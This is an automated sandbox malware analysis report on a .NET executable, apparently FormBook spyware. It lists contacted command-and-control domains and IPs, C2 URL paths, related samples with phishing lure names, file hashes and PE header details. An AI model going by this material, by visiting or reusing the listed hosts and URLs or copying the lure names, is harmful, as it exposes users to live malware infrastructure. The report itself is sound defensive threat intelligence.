172.67.194.145	www.foryourhealth19.com	United States	13335	CLOUDFLARENETUS	true
74.208.236.162	www.lookstudiov.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	true
192.250.231.28	www.cr-pos.com	United States	36454	CNSV-LLCUS	true
185.234.72.101	unknown	United Kingdom	30823	COMBAHTONcombahtonGmbHDE	false
38.55.194.30	www.86wqi.cyou	United States	174	COGENT-174US	true
45.130.41.249	www.cvt-auto.ru	Russian Federation	198610	BEGET-ASRU	true
38.207.19.49	www.filmbrute.com	United States	9009	M247GB	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1465534
Start date and time:	2024-07-01 19:22:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	8hd98EhtIFcYkb8.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@11/5@16/14
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 90% Number of executed functions: 90 Number of non-executed functions: 277
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 8hd98EhtIFcYkb8.exe

Simulations

Behavior and APIs

Time	Type	Description
13:23:02	API Interceptor	1x Sleep call for process: 8hd98EhtIFcYkb8.exe modified
15:05:14	API Interceptor	10652050x Sleep call for process: chkntfs.exe modified
15:07:23	API Interceptor	13x Sleep call for process: aj34fjqh.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.0.238.43	Att0027592.exe	Get hash	malicious	FormBook	Browse	www.heolty.xyz/sr8n/
	8eBzSB5cmamfLKJ.exe	Get hash	malicious	FormBook	Browse	www.tufftiff.xyz/vwgn/
	DHL_AWB#6078538091.exe	Get hash	malicious	FormBook	Browse	www.heolty.xyz/sr8n/
	Urgent Quotation_pdf.exe	Get hash	malicious	FormBook	Browse	www.tufftiff.xyz/vwgn/
	ELMA _CO LLC_pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	www.tufftiff.xyz/8mnn/
	AWB_NO_907853880911.exe	Get hash	malicious	FormBook	Browse	www.heolty.xyz/sr8n/
	DHL_AWB#6078538091.exe	Get hash	malicious	FormBook	Browse	www.heolty.xyz/sr8n/?Bh4=PleHf&ej7xa=ykhS0NzI1a5mGwbAHDIJ/kn0uPnJkGx8yP6LKwuh8PX4fvfzVF0WIFVN62SFPKKg+p/2FhJS4HQ3sh57FrIEIaqKUlC3GulKTOZpjTwMPkVUCXJSCA==
	hdBLUdo056.exe	Get hash	malicious	FormBook	Browse	www.heolty.xyz/fo0a/
	fiY5fTkFKk.rtf	Get hash	malicious	FormBook	Browse	www.heolty.xyz/fo0a/
	tEBdYCAxQC.rtf	Get hash	malicious	FormBook	Browse	www.heolty.xyz/fo0a/
43.198.80.127	8eBzSB5cmamfLKJ.exe	Get hash	malicious	FormBook	Browse	www.botokkkd4.top/i6sl/
43.198.80.127	Urgent Quotation_pdf.exe	Get hash	malicious	FormBook	Browse	www.botokkkd4.top/i6sl/
46.30.215.51	8eBzSB5cmamfLKJ.exe	Get hash	malicious	FormBook	Browse	www.vivaepicmarbella.com/e5cg/
46.30.215.51	Urgent Quotation_pdf.exe	Get hash	malicious	FormBook	Browse	www.vivaepicmarbella.com/e5cg/
217.160.0.31	XJBYhQFCGi.exe	Get hash	malicious	FormBook	Browse	www.erhaltungsmassage.com/m8cr/
	SecuriteInfo.com.Win32.PWSX-gen.19996.21102.exe	Get hash	malicious	FormBook	Browse	www.erhaltungsmassage.com/m8cr/
	gMCSnfJRqp.exe	Get hash	malicious	FormBook	Browse	www.erhaltungsmassage.com/m8cr/
	SecuriteInfo.com.Win32.RansomX-gen.4067.126.exe	Get hash	malicious	LummaC, Amadey, Glupteba, LummaC Stealer, Mars Stealer, RedLine, SmokeLoader	Browse	haraldhentzschel.com/wp-login.php
84.32.84.32	AWB 112-17259653.exe	Get hash	malicious	FormBook	Browse	www.fxlentes.com/e2qo/
	Fiyat ARH-43010386.pdf2400120887000033208 'd#U0131r. PO 1310098007.exe	Get hash	malicious	FormBook	Browse	www.saalameh.com/hfb9/
	8eBzSB5cmamfLKJ.exe	Get hash	malicious	FormBook	Browse	www.xn--gotopia-bya.com/ynea/
	eiqj38BeRo.rtf	Get hash	malicious	FormBook	Browse	www.1stclasstv.net/btrd/?OR-TJfQ=YsBe3zK5mG2re69SuhWD4F+xKefWov63CB1vqe8Fu6/M4t/K701X3Kdgqz8mPZlhNl4Uvg==&2dc=kvXd-rKHCF
	https://antiphishing.vadesecure.com/v4?f=Q3ZQNmU2SnpsRFlRbUF3dnXrUX6IVRqoHkav3zS2FUU4SSgWF2Bh53LuIqIaYuHrQDsnYOK56JKj0hXr4VDw6qL5o_uh_nqnyJa_2on34iQ&i=SXVFem5DOGVpUU1rNjdmQs96J83fcHVCxOlJVucRT2c&k=syJL&r=bWt1djZ5QzcyUms5R1Nzas8e2Z1uyQF5dl89S8qefCBSiTlgrr5sTiH-8ESNqzpA&s=28bc277065cef76943ee4a3e64550f59f4824833fcb12a460650a34e741aba3d&u=http%3A%2F%2Ffranceuniv.fr	Get hash	malicious	Unknown	Browse	franceuniv.fr/
	Urgent Quotation_pdf.exe	Get hash	malicious	FormBook	Browse	www.xn--gotopia-bya.com/ynea/
	3gQmWdKNmxvFltF.exe	Get hash	malicious	FormBook	Browse	www.ainude2.cloud/sg8p/
	unexpressiveness.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.gamesun.website/t5cf/
	Ballahoo.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.gamesun.website/t5cf/
	Halk #U0130#U015eLEM _24000000120887000033208 'd#U0131r.-1034 nolu TICARI .exe	Get hash	malicious	FormBook	Browse	www.saalameh.com/hfb9/?0N=fwSRWDIDlEtpZKpO15TnR7rdvvbvUQOUwoPVjl38Pi8M+UCq29ZeNKRmFQz0yoK86tSBJtX0+7UQykNFUthSdrPfT9CD49CruGe2y7ZC/ovpvsGUE+526xA=&3x=xxOtBHK

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.cr-pos.com	8eBzSB5cmamfLKJ.exe	Get hash	malicious	FormBook	Browse	192.250.231.28
	Urgent Quotation_pdf.exe	Get hash	malicious	FormBook	Browse	192.250.231.28
	Products volume.exe	Get hash	malicious	FormBook	Browse	192.250.231.28
	Scan001-929999.exe	Get hash	malicious	FormBook	Browse	198.38.83.196
	Axis Bank - 67 Account Pending Bank Receipt.pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	198.38.83.196
	Total Energies RFQ.exe	Get hash	malicious	FormBook	Browse	198.38.83.196
www.tufftiff.xyz	8eBzSB5cmamfLKJ.exe	Get hash	malicious	FormBook	Browse	162.0.238.43
	Urgent Quotation_pdf.exe	Get hash	malicious	FormBook	Browse	162.0.238.43
	ELMA _CO LLC_pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	162.0.238.43
www.ridcoredry.live	8eBzSB5cmamfLKJ.exe	Get hash	malicious	FormBook	Browse	91.195.240.123
	Urgent Quotation_pdf.exe	Get hash	malicious	FormBook	Browse	91.195.240.123
	Statement of Account.exe	Get hash	malicious	FormBook	Browse	91.195.240.123
	1LZvA2cEfV.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	91.195.240.123
	Payment Details- scanslip000002343.exe	Get hash	malicious	FormBook	Browse	91.195.240.123
	DRAFT DOCS RSHA25491003.exe	Get hash	malicious	FormBook	Browse	91.195.240.123
	PO.4563.0002_2024.exe	Get hash	malicious	FormBook	Browse	91.195.240.123
www.foryourhealth19.com	8eBzSB5cmamfLKJ.exe	Get hash	malicious	FormBook	Browse	172.67.194.145
	Urgent Quotation_pdf.exe	Get hash	malicious	FormBook	Browse	172.67.194.145
	Products volume.exe	Get hash	malicious	FormBook	Browse	104.21.84.156
www.86wqi.cyou	8eBzSB5cmamfLKJ.exe	Get hash	malicious	FormBook	Browse	38.55.194.30
	Urgent Quotation_pdf.exe	Get hash	malicious	FormBook	Browse	38.55.194.30
	manufacturer this requirements.exe	Get hash	malicious	FormBook	Browse	38.55.194.30
www.lookstudiov.com	8eBzSB5cmamfLKJ.exe	Get hash	malicious	FormBook	Browse	74.208.236.162
	Urgent Quotation_pdf.exe	Get hash	malicious	FormBook	Browse	74.208.236.162
	UNIVERSITY OF_ SHARJAH- Project FMD20240342_pdf.exe	Get hash	malicious	FormBook	Browse	74.208.236.162
	Lowe_list0605002024.bat.exe	Get hash	malicious	FormBook, GuLoader	Browse	74.208.236.162
	f4CdNDrJp8.exe	Get hash	malicious	FormBook	Browse	74.208.236.162
	Sf5Aw7E8Cu.exe	Get hash	malicious	FormBook, GuLoader	Browse	74.208.236.162
www.erhaltungsmassage.com	8eBzSB5cmamfLKJ.exe	Get hash	malicious	FormBook	Browse	217.160.0.31
	Urgent Quotation_pdf.exe	Get hash	malicious	FormBook	Browse	217.160.0.31
	XJBYhQFCGi.exe	Get hash	malicious	FormBook	Browse	217.160.0.31
	bin.exe	Get hash	malicious	FormBook, GuLoader	Browse	217.160.0.31
	SecuriteInfo.com.Win32.PWSX-gen.19996.21102.exe	Get hash	malicious	FormBook	Browse	217.160.0.31
	gMCSnfJRqp.exe	Get hash	malicious	FormBook	Browse	217.160.0.31

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NTT-LT-ASLT	https://ovexpv.clicks.mlsend.com/ty/cl/eyJ2Ijoie1wiYVwiOjk3MTY5NyxcImxcIjoxMjU2NjAyNTc1MjMzMzY2MzUsXCJyXCI6MTI1NjYwMjkyMTk2NTk4OTEyfSIsInMiOiJjMDRkNjQ0MTU5NWJmNWU5In0	Get hash	malicious	Unknown	Browse	84.32.84.140
	https://cts.vresp.com/c/?WaveCompliance/d919e57ba7/b5e5b2a536/185933d903/utm_source=abhi&utm_medium=hr&utm_campaign=email	Get hash	malicious	Unknown	Browse	84.32.84.252
	http://www.thehorizondispatch.com	Get hash	malicious	Unknown	Browse	84.32.84.21
	AWB 112-17259653.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	Fiyat ARH-43010386.pdf2400120887000033208 'd#U0131r. PO 1310098007.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	8eBzSB5cmamfLKJ.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	PO Number 00127011.exe	Get hash	malicious	FormBook	Browse	84.32.84.217
	eiqj38BeRo.rtf	Get hash	malicious	FormBook	Browse	84.32.84.32
	SecuriteInfo.com.Win64.Malware-gen.9165.26289.exe	Get hash	malicious	Unknown	Browse	84.32.84.138
	SecuriteInfo.com.Win64.Malware-gen.9165.26289.exe	Get hash	malicious	Unknown	Browse	84.32.84.179
LILLY-ASUS	indent PWS-020199.exe	Get hash	malicious	FormBook	Browse	43.132.189.227
	103.162.20.166-sora.arm6-2024-06-28T11_40_37.elf	Get hash	malicious	Mirai	Browse	40.36.249.154
	AAMwAy8pB7.elf	Get hash	malicious	Mirai, Moobot	Browse	42.170.240.214
	QewpDKdeRJ.elf	Get hash	malicious	Mirai, Moobot	Browse	43.132.28.166
	BviOG97ArX.elf	Get hash	malicious	Mirai, Moobot	Browse	40.12.31.192
	g75NqH852l.elf	Get hash	malicious	Mirai, Moobot	Browse	43.189.20.23
	V7UaNBrX72.elf	Get hash	malicious	Mirai, Moobot	Browse	40.6.139.124
	EGR7RZv5Km.elf	Get hash	malicious	Mirai, Moobot	Browse	43.7.23.106
	1CZlhmRsza.elf	Get hash	malicious	Mirai, Moobot	Browse	42.141.165.209
	s4WsI8Qcm4.elf	Get hash	malicious	Mirai, Moobot	Browse	43.128.90.95
ONEANDONE-ASBrauerstrasse48DE	rPRESUPUESTO.exe	Get hash	malicious	FormBook	Browse	74.208.236.72
	yaM8XR1HfL.exe	Get hash	malicious	DarkTortilla, FormBook	Browse	217.160.0.1
	https://www.asarco.com/	Get hash	malicious	Unknown	Browse	74.208.236.164
	Att0027592.exe	Get hash	malicious	FormBook	Browse	217.76.156.252
	AWB 112-17259653.exe	Get hash	malicious	FormBook	Browse	217.160.0.144
	scan19062024.exe	Get hash	malicious	FormBook	Browse	212.227.172.254
	SecuriteInfo.com.Win32.Malware-gen.371.3693.exe	Get hash	malicious	Unknown	Browse	217.160.0.130
	SecuriteInfo.com.Win32.Malware-gen.371.3693.exe	Get hash	malicious	Unknown	Browse	217.160.0.130
	Fiyat ARH-43010386.pdf2400120887000033208 'd#U0131r. PO 1310098007.exe	Get hash	malicious	FormBook	Browse	74.208.236.247
	Fiyat ARH-4532817-PO 45328174563.exe	Get hash	malicious	FormBook	Browse	212.227.172.254
NAMECHEAP-NETUS	Drawing specification and June PO #07329.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	198.54.122.135
	Project Execution Order - (PO 546788) (PO 546789).exe	Get hash	malicious	FormBook	Browse	162.213.255.55
	Att0027592.exe	Get hash	malicious	FormBook	Browse	162.0.238.43
	Purchase Order Project No.8873_ECOFIX.exe	Get hash	malicious	Unknown	Browse	63.250.38.167
	Purchase Order Project No.8873_ECOFIX.exe	Get hash	malicious	Unknown	Browse	63.250.38.167
	TT Fizetesi Bizonylat.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	198.54.126.126
	8eBzSB5cmamfLKJ.exe	Get hash	malicious	FormBook	Browse	162.0.238.43
	SecuriteInfo.com.MalwareX-gen.30985.17962.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	198.54.122.135
	https://urlz.fr/qZLc	Get hash	malicious	Unknown	Browse	63.250.43.136
	https://readlonghttps-f1d3b6.ingress-florina.ewp.live/wp-content/plugins/wp-file-manager/newversion/pages/region.php	Get hash	malicious	Unknown	Browse	63.250.43.137
ONECOMDK	DHL Receipt_AWB#20240079104.exe	Get hash	malicious	FormBook	Browse	46.30.211.38
	AWB 112-17259653.exe	Get hash	malicious	FormBook	Browse	46.30.211.38
	scan19062024.exe	Get hash	malicious	FormBook	Browse	46.30.215.104
	DHL Arrival Notice.exe	Get hash	malicious	FormBook	Browse	46.30.211.38
	Fiyat ARH-43010386.pdf2400120887000033208 'd#U0131r. PO 1310098007.exe	Get hash	malicious	FormBook	Browse	46.30.211.38
	8eBzSB5cmamfLKJ.exe	Get hash	malicious	FormBook	Browse	46.30.215.51
	Document TOP19928.exe	Get hash	malicious	FormBook	Browse	46.30.213.191
	Urgent Quotation_pdf.exe	Get hash	malicious	FormBook	Browse	46.30.215.51
	FedEx Receipt_AWB# 102003550412.exe	Get hash	malicious	FormBook	Browse	46.30.211.38
	Salary Raise.exe	Get hash	malicious	FormBook	Browse	46.30.211.38

Process:	C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\aj34fjqh.exe.log

Process:	C:\Users\user\AppData\Local\Temp\aj34fjqh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1500
Entropy (8bit):	5.345358309061185
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPE4KMRaKIE4oKNzKoZAE4Kze0E4VE4x84j:MIHK5HKH1qHiYHKh3oPHKMRatHo6hAHQ
MD5:	215B3562F83C4FB9BBB129D2F9E59ADA
SHA1:	0534A53F6F42ECA7E56EB02E328A2025254AC511
SHA-256:	4CF4451F940D8D730D8209079E1404A1EAD1A36C33E69AB8AE43E0E7D33B4450
SHA-512:	E09A97CE89258E1BCDA4832E1348720EBCD462E0C81736CCAD8D99AB1AC60ECBAF5E1F552C4F0977F498D25E27739197D2A9C1EFFDEB7116020D106231EB7C43
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Data\1b8c564fd69668e6e62d136259980d9e\System.Data.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fc

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\EuOdzX7Ehz6t1H3[1].exe

Process:	C:\Windows\SysWOW64\chkntfs.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	698880
Entropy (8bit):	7.911230439704249
Encrypted:	false
SSDEEP:	12288:199glhtybCaw7zjHIWpMnAzN0D5qZboic6R+cye27TXFzLH0Z:19w3DXMKKqZbtRDyzXRL
MD5:	A000A790579BE8EDD044A668469EA33E
SHA1:	CA2DB74AAABF250A375010E9039CBAA85BFA0074
SHA-256:	CB0C396BC52A0550F80BCC4EA4930DD07D1A308CB8FE4A9200F92C06B7E71EAA
SHA-512:	952CCD18E119068271A4D67A08D36C922C35D0FD51678C63B45F021C534A82521A99B2AB6CFA33D36839449DB6934DFBD3BA88C0968D229CE0E5B526A1469F99
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.... ...............0.................. ........@.. ....................................@.................................l...O...................................@...p............................................ ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H..........,l..............@.............................................r...ps....}......}.....(.......(.....*.0............{....o.....r...p.{....s......o.....+...{....o......o....o....&..o........-..{....o......{....o.....r...p.{....s......o.....8......{....o....r...po ...o!...r...p......%...o.....o"...&.{....o....r...po ...o!...r...p......%...o.....o"...&.{....o....r...po ...o!...r...p......%...o.....o"...&.{....o....r...po ...o!...r...p......%...o.....o"...&.{....o....r.

C:\Users\user\AppData\Local\Temp\aj34fjqh.exe

Process:	C:\Windows\SysWOW64\chkntfs.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	698880
Entropy (8bit):	7.911230439704249
Encrypted:	false
SSDEEP:	12288:199glhtybCaw7zjHIWpMnAzN0D5qZboic6R+cye27TXFzLH0Z:19w3DXMKKqZbtRDyzXRL
MD5:	A000A790579BE8EDD044A668469EA33E
SHA1:	CA2DB74AAABF250A375010E9039CBAA85BFA0074
SHA-256:	CB0C396BC52A0550F80BCC4EA4930DD07D1A308CB8FE4A9200F92C06B7E71EAA
SHA-512:	952CCD18E119068271A4D67A08D36C922C35D0FD51678C63B45F021C534A82521A99B2AB6CFA33D36839449DB6934DFBD3BA88C0968D229CE0E5B526A1469F99
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.... ...............0.................. ........@.. ....................................@.................................l...O...................................@...p............................................ ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H..........,l..............@.............................................r...ps....}......}.....(.......(.....*.0............{....o.....r...p.{....s......o.....+...{....o......o....o....&..o........-..{....o......{....o.....r...p.{....s......o.....8......{....o....r...po ...o!...r...p......%...o.....o"...&.{....o....r...po ...o!...r...p......%...o.....o"...&.{....o....r...po ...o!...r...p......%...o.....o"...&.{....o....r...po ...o!...r...p......%...o.....o"...&.{....o....r.

C:\Users\user\AppData\Local\Temp\j77tfG6

Process:	C:\Windows\SysWOW64\chkntfs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.9490261556051545
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.79% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Win16/32 Executable Delphi generic (2074/23) 0.01%
File name:	8hd98EhtIFcYkb8.exe
File size:	686'080 bytes
MD5:	677b2d2d3a54e0c1d8e416b276093fb3
SHA1:	22b6aa9e97cf16d55aa16dcc20fea67f9806d09c
SHA256:	c42f31c68ee4a14aec74ddce249314d00813289dc36740484b09ceadf72aa0f8
SHA512:	43dba02ce5e096eaf44a6a623737b89a8d89e98995b7bdfa7f17a8e4f0e93417c0a63c4a066f760a1c762e5d058461bf4af6d31c949b7d5bf2f4d7b750921945
SSDEEP:	12288:Efqy6lRPMqNMCXnIfd8SLLov+I6rDqAgdf3Gqsrj0Tfh3PFvwxgpNQKA5Go5tdZ:oIRVV3e7LI6vQMj0Tfh26NQco5td
TLSH:	FDE422A032386567CBBDAAF54429250517F265AA1C02FBCD0DD120CF4EDAF511E21BBB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f..............0..P... .......o... ........@.. ....................................@................................

File Icon


Icon Hash:	6145b2b1e4a4b186

Static PE Info

General

Entrypoint:	0x4a6f8e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6682B3A3 [Mon Jul 1 13:48:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa6f3c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa8000	0x16b4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xaa000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
